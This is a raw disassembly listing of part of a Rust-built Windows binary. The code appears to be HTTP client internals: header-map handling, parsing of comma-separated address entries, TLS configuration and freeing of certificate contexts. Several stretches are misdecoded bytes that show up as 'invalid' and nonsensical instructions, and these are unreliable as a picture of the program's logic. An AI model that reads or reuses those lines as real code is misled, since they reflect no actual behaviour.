mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov rsi, qword [rsp + 0x30]
cmp rdx, qword [rsi + 0x18]
jne 0x14004f7cb
lea rcx, [rsi + 0x18]
call fcn.14004fa70
mov rdx, qword [rsp + 0x48]
mov r9, qword [rsi + 0x20]
mov r15, qword [rsi + 0x50]
imul rax, rdx, 0x68
mov qword [r9 + rax], 0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [r9 + rax + 0x18], xmm0
movups xmmword [r9 + rax + 0x28], xmm1
mov rcx, qword [rsp + 0x70]
mov qword [r9 + rax + 0x38], rcx
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movups xmmword [r9 + rax + 0x40], xmm0
movups xmmword [r9 + rax + 0x50], xmm1
mov word [r9 + rax + 0x60], bp
lea rax, [rdx + 1]
mov qword [rsi + 0x28], rax
cmp r14, r15
jae 0x14004fa41
mov rax, qword [rsi + 0x48]
mov word [rax + r14*4], dx
mov word [rax + r14*4 + 2], bp
jmp 0x14004fa15
setae dh
mov rdi, qword [rsp + 0x30]
cmp qword [rdi], 2
setne bl
mov rcx, qword [rsp + 0x40]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r8, qword [rsp + 0x38]
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
cmp rdx, 0x7fff
jbe 0x14004f8fd
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x80]
test rax, rax
je 0x14004f8ef
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x28]
mov byte [rax + 0x20], 3
jmp 0x14004fa1e
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp rdx, qword [rdi + 0x18]
jne 0x14004f950
lea rcx, [rdi + 0x18]
call fcn.14004fa70
mov rdx, qword [rsp + 0x48]
mov r9, qword [rdi + 0x20]
mov r12, qword [rdi + 0x48]
mov r15, qword [rdi + 0x50]
and sil, bl
imul rax, rdx, 0x68
mov qword [r9 + rax], 0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [r9 + rax + 0x18], xmm0
movups xmmword [r9 + rax + 0x28], xmm1
mov rcx, qword [rsp + 0x70]
mov qword [r9 + rax + 0x38], rcx
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movups xmmword [r9 + rax + 0x40], xmm0
movups xmmword [r9 + rax + 0x50], xmm1
mov word [r9 + rax + 0x60], bp
lea rax, [rdx + 1]
mov qword [rdi + 0x28], rax
xor eax, eax
nop dword [rax + rax]
mov rcx, r14
mov r14d, 0
cmp rcx, r15
jae 0x14004f9b0
movzx r9d, word [r12 + rcx*4]
cmp r9w, 0xffff
je 0x14004f9ec
inc rax
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], bp
inc rcx
mov ebp, r8d
mov edx, r9d
mov r14, rcx
jmp 0x14004f9b0
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], bp
cmp rax, 0x80
setb al
not sil
test sil, al
jne 0x14004fa15
cmp qword [rdi], 0
jne 0x14004fa15
mov qword [rdi], 1
mov rax, qword [rsp + 0x28]
mov byte [rax + 0x20], 2
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r14
mov rdx, r15
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rsi
call fcn.1401082d0
int3
mov byte [rsi], ah
add byte [rax], al
mov r13b, 1
cmp qword [r14 + 0x78], 0
js 0x14004fba0
js 0x14004fba0
je 0x14004fcf3
mov rcx, qword [0x140182260]
xor ebp, ebp
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, rbx
cmp qword [r14 + 0x60], 0
jne 0x140051262
jmp 0x140051231
and al, 0x68
movabs rbx, 0x8000000000000000
cmp r11, rbx
jne 0x1400506c0
mov r12, r10
shl r14, 1
test r14, r14
jne 0x1400506f1
movabs rbp, 0x8000000000000000
cmp rbx, rbp
je 0x14005071c
movabs rax, 0x8000000000000001
cmp rbx, rax
je 0x1400507ea
test rbx, rbx
je 0x14005082a
movabs rdi, 0x8000000000000000
mov r14, r11
jmp 0x140050815
xor ebp, ebp
mov r12, rbx
cmp qword [r14 + 0x60], 0
jne 0x140051262
jmp 0x140051231
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], 1
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 8
mov qword [rsp + 0xc0], 0
mov eax, 1
mov qword [rsp + 0x58], rax
lea rsi, [rsp + 0x68]
pxor xmm6, xmm6
movdqa xmm7, xmmword [0x1401129e0]
movdqa xmm8, xmmword [0x140112770]
xor eax, eax
mov qword [rsp + 0x40], rax
xor r12d, r12d
xor ebp, ebp
mov qword [rsp + 0x50], r15
jmp 0x14004fe2c
mov r8, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x40]
lea rcx, [rdx + rdx*8]
mov byte [r8 + rcx*2], 2
mov byte [r8 + rcx*2 + 1], sil
mov dword [r8 + rcx*2 + 2], eax
mov rax, qword [rsp + 0x240]
mov qword [r8 + rcx*2 + 6], rax
mov eax, dword [rsp + 0x248]
mov qword [rsp + 0x58], r8
mov dword [r8 + rcx*2 + 0xe], eax
inc rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x1f0], rdx
mov edi, ebx
movdqa xmm10, xmm9
lea rsi, [rsp + 0x68]
mov ebx, edi
movdqa xmm9, xmm10
cmp byte [rsp + 0x60], 0
je 0x140050681
mov rcx, rbp
cmp r12, r15
jbe 0x14004fe40
xor edi, edi
jmp 0x14004ff95
mov rdx, r12
movabs rdi, 0x8080808080808080
jmp 0x14004fe58
mov rdx, r12
cmp r12, r15
ja 0x14004fe34
mov r8, r15
sub r8, rdx
lea rax, [rdx + r13]
cmp r8, 0x10
jae 0x14004fea0
cmp r15, rdx
je 0x14004ff90
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], 0x2c
je 0x14004ff64
inc r10
cmp r8, r10
jne 0x14004fe80
jmp 0x14004ff90
lea r9, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, rax
jne 0x14004fec0
lea r10, [r8 - 0x10]
xor r9d, r9d
jmp 0x14004fef5
cmp r9, r8
cmovae r9, r8
xor r10d, r10d
nop word [rax + rax]
cmp byte [rax + r10], 0x2c
je 0x14004ff64
inc r10
cmp r9, r10
jne 0x14004fed0
lea r10, [r8 - 0x10]
nop word [rax + rax]
cmp r9, r10
ja 0x14004ff30
movdqu xmm0, xmmword [rax + r9]
movdqa xmm1, xmm0
pxor xmm1, xmm7
paddq xmm1, xmm8
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r11, xmm1
test r11, rdi
jne 0x14004ff30
add r9, 0x10
jmp 0x14004fef0
cmp r8, r9
je 0x14004ff90
add rax, r9
mov r8, r15
sub r8, r9
sub r8, rdx
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], 0x2c
je 0x14004ff61
inc r10
cmp r8, r10
jne 0x14004ff50
jmp 0x14004ff90
add r10, r9
lea r12, [rdx + r10]
inc r12
add rdx, r10
cmp rdx, r15
jae 0x14004fe50
cmp byte [r13 + rdx], 0x2c
jne 0x14004fe50
mov dil, 1
mov qword [rsp + 0x38], r12
jmp 0x14004ff9d
xor edi, edi
mov r12, r15
mov qword [rsp + 0x38], rcx
mov rdx, r15
sub rdx, rcx
mov r14, r13
add rcx, r13
call fcn.140037d70
test rax, rax
je 0x140050681
mov rbp, rax
mov r15, rdx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], 0
mov rcx, rsi
call fcn.1400454a0
mov r13, rax
test r13b, 1
mov dword [rsp + 0x60], edi
je 0x140050140
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
je 0x140050140
jae 0x140052001
mov r9, qword [rsp + 0x68]
cmp byte [r9 + rcx], 0x2f
jne 0x140050140
lea r8, [rcx + 1]
xor eax, eax
cmp r8, rdx
jne 0x1400500f9
mov r9d, edx
mov rcx, rdx
sub r9d, r8d
je 0x140050140
shl rax, 0x28
movabs r8, 0xffffffff00
and r13, r8
or r13, rax
movabs rax, 0xffffffffff00
and r13, rax
shr r13, 8
xor r8d, r8d
mov edi, ebx
movdqa xmm10, xmm9
cmp rcx, rdx
jne case.0x140019144.2117
mov rax, qword [rsp + 0x40]
cmp rax, qword [rsp + 0x1e0]
jne 0x140050094
lea rcx, [rsp + 0x1e0]
mov ebx, r8d
call fcn.140053780
mov r8d, ebx
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rcx*8]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax*2], r8b
mov dword [rdx + rax*2 + 1], r13d
shr r13, 0x20
mov byte [rdx + rax*2 + 5], r13b
movzx r8d, byte [rsp + 0x178]
mov byte [rdx + rax*2 + 6], r8b
movq qword [rdx + rax*2 + 7], xmm10
mov word [rdx + rax*2 + 0xf], di
movzx r8d, byte [rsp + 0x100]
mov byte [rdx + rax*2 + 0x11], r8b
inc rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x1f0], rcx
mov r13, r14
mov r15, qword [rsp + 0x50]
jmp 0x14005055c
movzx eax, byte [r9 + r8]
add al, 0xd0
cmp al, 9
ja 0x140050140
lea r10, [rcx + 2]
movzx eax, al
cmp r10, rdx
je 0x14005001e
movzx r11d, byte [r9 + r10]
add r11b, 0xd0
cmp r11b, 9
ja 0x1400505d4
lea eax, [rax + rax*4]
movzx r10d, r11b
lea eax, [r10 + rax*2]
cmp eax, 0x20
jbe 0x1400505dc
nop dword [rax + rax]
mov qword [rsp + 0x78], 0
movdqa xmmword [rsp + 0x110], xmm6
mov r8d, 8
mov rcx, rsi
lea rdx, [rsp + 0x110]
call fcn.140045100
cmp rax, 8
jne 0x140050270
movzx r8d, word [rsp + 0x110]
movzx r9d, word [rsp + 0x112]
movzx eax, word [rsp + 0x114]
movq xmm0, qword [rsp + 0x116]
invalid
add dword [rax], eax
add byte [rdi], cl
mov bh, 0xbc
and al, 0x1e
add dword [rax], eax
invalid
invalid
rol r8w, 8
rol r9w, 8
rol ax, 8
punpcklbw xmm0, xmm6
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm10, xmm0, 0xb1
packuswb xmm10, xmm6
rol di, 8
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
je 0x140050420
jae 0x140052001
mov r13, qword [rsp + 0x68]
cmp byte [r13 + rcx], 0x2f
jne 0x140050420
lea r11, [rcx + 1]
xor r10d, r10d
cmp r11, rdx
jne 0x1400503ac
mov qword [rsp + 0x48], r10
mov r10d, edx
mov rcx, rdx
sub r10d, r11d
je 0x140050420
mov word [rsp + 0x128], r8w
mov word [rsp + 0x12a], r9w
movzx r8d, ax
shl r8, 0x20
mov r13d, dword [rsp + 0x128]
or r13, r8
shr eax, 8
mov r8b, 1
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0x48]
mov byte [rsp + 0x100], al
cmp rcx, rdx
je 0x140050065
mov ebx, edi
movdqa xmm9, xmm10
jmp 0x140050420
test dl, 1
jne 0x140050420
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
je 0x140050420
jae 0x140052001
mov r8, qword [rsp + 0x68]
cmp byte [r8 + rcx], 0x3a
jne 0x140050420
lea r9, [rcx + 1]
cmp r9, rdx
je 0x140050420
jae 0x14005200d
cmp byte [r8 + r9], 0x3a
jne 0x140050420
add rcx, 2
mov qword [rsp + 0x78], rcx
movdqa xmmword [rsp + 0x180], xmm6
mov r8d, 8
sub r8, rax
mov rcx, rsi
lea rdx, [rsp + 0x180]
mov rsi, rax
call fcn.140045100
mov r13, rax
mov rcx, rsi
mov eax, 8
cmp rax, rsi
jb 0x140052112
cmp r13, 9
jae 0x1400520fe
lea rax, [rcx + r13]
cmp rax, 9
lea rsi, [rsp + 0x68]
jae 0x1400520e6
lea rdi, [rcx + rcx]
mov r8d, 0x10
sub r8, rdi
lea rcx, [rsp + rcx*2]
add rcx, 0x1b0
xor edx, edx
call fcn.1401069d0
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x110]
mov r8, rdi
call fcn.140106250
mov eax, 8
sub rax, r13
lea rcx, [rsp + rax*2]
add rcx, 0x1b0
add r13, r13
lea rdx, [rsp + 0x180]
mov r8, r13
call fcn.140106250
movzx r8d, word [rsp + 0x1b0]
movzx r9d, word [rsp + 0x1b2]
movzx eax, word [rsp + 0x1b4]
movq xmm0, qword [rsp + 0x1b6]
movzx edi, word [rsp + 0x1be]
jmp 0x14005019d
movzx r10d, byte [r13 + r11]
add r10b, 0xd0
cmp r10b, 9
ja 0x140050420
lea rsi, [rcx + 2]
movzx r10d, r10b
cmp rsi, rdx
jne 0x1400503d3
lea rsi, [rsp + 0x68]
jmp 0x1400501fd
mov qword [rsp + 0x48], r10
movzx r10d, byte [r13 + rsi]
add r10b, 0xd0
cmp r10b, 9
ja 0x140050674
mov rsi, qword [rsp + 0x48]
lea esi, [rsi + rsi*4]
movzx r10d, r10b
lea esi, [r10 + rsi*2]
mov r10, rsi
mov qword [rsp + 0x48], rsi
cmp esi, 0x80
lea rsi, [rsp + 0x68]
jbe 0x140050601
nop word cs:[rax + rax]
mov qword [rsp + 0x1b0], rbp
mov qword [rsp + 0x1b8], r15
lea rdi, [rsp + 0x1b0]
mov rcx, rdi
call fcn.140015a40
test al, 1
jne 0x1400504b0
mov rcx, rsi
mov rdx, rdi
call fcn.140015de0
cmp byte [rsp + 0x68], 0
je 0x1400504bf
mov eax, dword [rsp + 0x69]
lea rdx, [rsp + 0x6d]
mov rcx, qword [rdx]
mov qword [rsp + 0x110], rcx
mov ecx, dword [rdx + 8]
mov dword [rsp + 0x118], ecx
cmp qword [rsp + 0x1b8], 0
jne 0x1400504bf
mov ecx, dword [rsp + 0x118]
mov dword [rsp + 0x188], ecx
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x180], rcx
mov sil, 1
jmp 0x14005057e
cmp qword [rsp + 0x1b8], 0
je 0x140050578
test r15, r15
je 0x1400504f0
js 0x140052038
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400dfbe0
test rax, rax
je 0x14005202b
mov r13, rax
jmp 0x1400504f6
mov r13d, 1
mov rcx, r13
mov rdx, rbp
mov r8, r15
call fcn.140106250
mov rsi, qword [rsp + 0xc0]
cmp rsi, qword [rsp + 0xb0]
jne 0x140050523
lea rcx, [rsp + 0xb0]
call fcn.140053830
mov rax, qword [rsp + 0xb8]
lea rcx, [rsi + rsi*2]
mov qword [rax + rcx*8], r15
mov qword [rax + rcx*8 + 8], r13
mov qword [rax + rcx*8 + 0x10], r15
inc rsi
mov qword [rsp + 0xc0], rsi
mov edi, ebx
movdqa xmm10, xmm9
mov r13, r14
mov r15, qword [rsp + 0x50]
lea rsi, [rsp + 0x68]
mov rbp, qword [rsp + 0x38]
mov ebx, edi
movdqa xmm9, xmm10
cmp byte [rsp + 0x60], 0
jne 0x14004fe2c
jmp 0x140050681
shr rax, 8
xor esi, esi
mov ecx, dword [rsp + 0x188]
mov dword [rsp + 0x248], ecx
mov rcx, qword [rsp + 0x180]
mov qword [rsp + 0x240], rcx
mov rcx, qword [rsp + 0x40]
cmp rcx, qword [rsp + 0x1e0]
mov r13, r14
mov r15, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x38]
jne 0x14004fdc0
lea rcx, [rsp + 0x1e0]
mov rdi, rax
call fcn.140053780
mov rax, rdi
jmp 0x14004fdc0
mov rcx, r10
jmp 0x14005002d
cli
invalid
invalid
cli
invalid
add rcx, 3
cmp rcx, rdx
je 0x14005001e
movzx r8d, byte [r9 + rcx]
add r8b, 0xd0
cmp r8b, 0xa
jae 0x14005002d
jmp 0x140050140
lea rsi, [rcx + 3]
cmp rsi, rdx
jne 0x140050619
lea rsi, [rsp + 0x68]
mov r10, qword [rsp + 0x48]
jmp 0x1400501fd
movzx r10d, byte [r13 + rsi]
add r10b, 0xd0
cmp r10b, 9
ja 0x140050674
mov rsi, qword [rsp + 0x48]
lea esi, [rsi + rsi*4]
movzx r10d, r10b
lea esi, [r10 + rsi*2]
mov r10, rsi
mov qword [rsp + 0x48], rsi
cmp esi, 0x80
lea rsi, [rsp + 0x68]
ja 0x140050420
add rcx, 4
cmp rcx, rdx
je 0x14005060f
movzx r10d, byte [r13 + rcx]
add r10b, 0xd0
cmp r10b, 0xa
jae 0x140050211
jmp 0x140050420
mov rcx, rsi
lea rsi, [rsp + 0x68]
jmp 0x140050211
mov rdi, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1e8]
mov r15, qword [rsp + 0xb0]
mov r12, qword [rsp + 0xb8]
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
std
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
std
cmp qword [rsp + 0x108], 0
jne 0x140050815
jmp 0x14005082a
mov r15, qword [rsp + 0x70]
mov r10, qword [rsp + 0x78]
cmp byte [rsp + 0x80], 0
je 0x140051e61
movabs rbx, 0x8000000000000001
mov r12, r10
shl r14, 1
test r14, r14
je 0x14004fcb2
sal ebp, 0xff
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
mov r14, r11
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, r14
movabs rbp, 0x8000000000000000
cmp rbx, rbp
jmp 0x140050726
invalid
invalid
cmc
invalid
invalid
jmp 0x14005082a
mov r14, r11
mov r13, r15
mov r15, r12
mov qword [rsp + 0x108], r14
test r15, r15
jne 0x14004fd39
mov r14, r13
mov rbp, rdi
cmp qword [rsp + 0x108], 0
je 0x14005082a
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, rdi
mov ebp, edi
mov rdi, qword [rsp + 0x230]
cmp rdi, qword [rsp + 0x220]
cmp edi, dword [rsp + 0x220]
jne 0x140050849
lea rcx, [rsp + 0x220]
call fcn.1400523d0
mov rax, qword [rsp + 0x228]
mov rcx, rdi
shl rcx, 7
lea rcx, [rcx + rdi*8]
mov qword [rax + rcx], 3
mov rdx, qword [rsp + 0xe0]
mov qword [rax + rcx + 8], rdx
movdqu xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movdqu xmm2, xmmword [rsp + 0x88]
movups xmm3, xmmword [rsp + 0x98]
movdqu xmmword [rax + rcx + 0x10], xmm0
movups xmmword [rax + rcx + 0x20], xmm1
movdqu xmmword [rax + rcx + 0x30], xmm2
movups xmmword [rax + rcx + 0x40], xmm3
mov rdx, qword [rsp + 0xa8]
mov qword [rax + rcx + 0x50], rdx
mov qword [rax + rcx + 0x58], rbp
mov qword [rax + rcx + 0x60], rsi
mov rdx, qword [rsp + 0x40]
mov qword [rax + rcx + 0x68], rdx
mov qword [rax + rcx + 0x70], r15
mov qword [rax + rcx + 0x78], r12
mov qword [rax + rcx + 0x80], r13
inc rdi
mov qword [rsp + 0x230], rdi
mov r14, qword [rsp + 0xe8]
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14005201c
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rax, qword [rsp + 0x230]
mov qword [rdi + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x220]
movdqu xmmword [rdi + 0x10], xmm0
cmp byte [r14 + 0x17f], 0
jne 0x14005203d
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14005207d
mov r13, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rbp, qword [r14 + 0x160]
test rbp, rbp
je 0x1400509a0
mov rax, qword [r14 + 0x168]
mov qword [rsp + 0x38], rax
lock dec qword [r13]
jne 0x14005099b
lea rdx, [0x140142728]
mov rcx, r13
call fcn.140005050
mov r13, rbp
jmp 0x1400509ac
lea rax, [0x140142728]
mov qword [rsp + 0x38], rax
lea r15, [r14 + 0x120]
mov r12, qword [r14 + 0x138]
test r12, r12
sete byte [rsp + 0x40]
je 0x140050a5f
movzx eax, byte [0x140182310]
mov edx, 0x40
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14005209b
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movdqu xmm2, xmmword [r15 + 0x20]
movdqu xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x30], xmm2
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14005201c
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r13
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rbx
lea rcx, [0x140142748]
mov qword [rsp + 0x38], rcx
mov r13, rax
lock inc qword [r13]
jle 0x140051f40
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x60], rdi
movzx eax, byte [0x140182310]
mov edx, 0x80
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14005208c
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rax + 0x20], 0
mov dword [rax + 0x38], 0x3b9aca00
mov qword [rax + 0x40], 0
mov dword [rax + 0x48], 0x11e1a300
mov dword [rax + 0x58], 0x3b9aca00
mov word [rax + 0x60], 1
mov byte [rax + 0x66], 0
mov word [rax + 0x77], 0
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x130], r13
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x138], rax
mov rsi, qword [r14 + 0xc0]
mov edi, dword [r14 + 0xc8]
lea rcx, [rsp + 0x128]
call fcn.140052490
mov qword [rax + 0x20], rsi
mov dword [rax + 0x28], edi
mov qword [rsp + 0x68], 0
mov word [rsp + 0x94], 0x501
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 8
mov qword [rsp + 0x88], 0
mov byte [rsp + 0x91], 0
movzx eax, byte [r14 + 0x170]
xor al, 1
mov byte [rsp + 0x90], al
movzx eax, byte [r14 + 0x171]
mov byte [rsp + 0x92], al
movzx eax, byte [r14 + 0x175]
xor al, 1
mov byte [rsp + 0x93], al
mov rdi, qword [r14 + 0x90]
mov rbx, qword [r14 + 0x98]
mov r15, qword [r14 + 0xa0]
test r15, r15
je 0x140050c02
lea r12, [rsp + 0x78]
shl r15, 3
mov eax, 8
xor r13d, r13d
jmp 0x140050be5
mov qword [rax + r13*8], rsi
inc r13
mov qword [rsp + 0x88], r13
add r15, 0xfffffffffffffff8
je 0x140050c02
mov rsi, qword [rbx + r13*8]
cmp r13, qword [rsp + 0x78]
jne 0x140050bd0
mov rcx, r12
call fcn.1400e72a0
mov rax, qword [rsp + 0x80]
jmp 0x140050bd0
test rdi, rdi
je 0x140050c19
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [r14 + 0x193]
mov r12b, 1
lea rcx, [0x140177924]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
mov al, 1
mov rdi, qword [rsp + 0x60]
movzx r13d, byte [rsp + 0x40]
jmp rdx
mov al, 2
mov byte [rsp + 0x94], al
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14014278f]
lea rdx, [0x140177938]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14014278f]
lea rdx, [0x140177938]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov al, 3
mov byte [rsp + 0x94], al
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14014278f]
out dx, eax
sbb cl, byte [rdi]
add byte [rax - 0x73], cl
adc eax, 0x126c91
out dx, eax
sbb cl, byte [rdi]
add byte [rax - 0x73], cl
adc eax, 0x126c91
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov r12b, 2
jmp case.0x14009b773.0
lea rcx, str.invalid_minimum_TLS_version_for_backendinvalid_maximum_TLS_version_for_backendinternal_error:_entered_unreachable_code:_hickory_dns_shouldnt_be_enabled_unless_the_feature_is
mov edx, 0x27
call fcn.140052650
mov r12, rax
cmp qword [rsp + 0x68], 0
mov r15, qword [rsp + 0x58]
je 0x140050ce4
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rbx, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
test rsi, rsi
je 0x140050d1f
xor edi, edi
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov rcx, qword [rbx + rdi*8]
inc rdi
call r14
cmp rsi, rdi
jne 0x140050d10
cmp qword [rsp + 0x78], 0
je 0x140050d39
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x128]
lock dec qword [rax]
mov rsi, qword [rsp + 0x60]
jne 0x140050d59
mov rcx, qword [rsp + 0x128]
call fcn.14004f050
mov rax, qword [rsp + 0x130]
lock dec qword [rax]
mov r14, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0x150]
jne 0x1400511fa
mov rcx, qword [rsp + 0x130]
mov ecx, dword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
invalid
add cl, ch
add al, 0
add byte [rdi + rcx - 0x4a], al
movzx r12d, byte [rsp + 0x95]
jmp 0x140050da6
mov r12b, 3
mov byte [rsp + 0x95], r12b
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x68]
jmp 0x1400511f5
movzx r12d, byte [rsp + 0x95]
jmp 0x140050da6
mov r12b, 3
mov byte [rsp + 0x95], r12b
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xe0], rax
mov rsi, qword [rsp + 0x78]
mov r13, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
movq xmm6, qword [rsp + 0x90]
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x160], al
lock inc qword [rdi]
jle 0x140051f40
movups xmm0, xmmword [0x1401428c8]
movaps xmmword [rsp + 0xc0], xmm0
movdqu xmm0, xmmword [0x1401428b8]
movdqa xmmword [rsp + 0xb0], xmm0
lea rdx, [rsp + 0xb0]
mov rcx, r14
call fcn.140022d40
mov rbx, rax
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x140050e7f
lea rcx, [rsp + 0xc8]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
test rbx, rbx
je 0x140050edf
mov rdx, rbx
add rdx, 0x18
mov rax, qword [rbx]
mov r8, qword [rbx + 8]
mov r9, qword [rbx + 0x10]
lea rcx, [rsp + 0xb0]
call qword [rax]
movzx eax, byte [rbx + 0x20]
mov byte [rsp + 0xd0], al
movdqu xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x190], xmm1
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1a0], rax
jmp 0x140050ee7
mov byte [rsp + 0x1a0], 2
movzx eax, byte [r14 + 0x182]
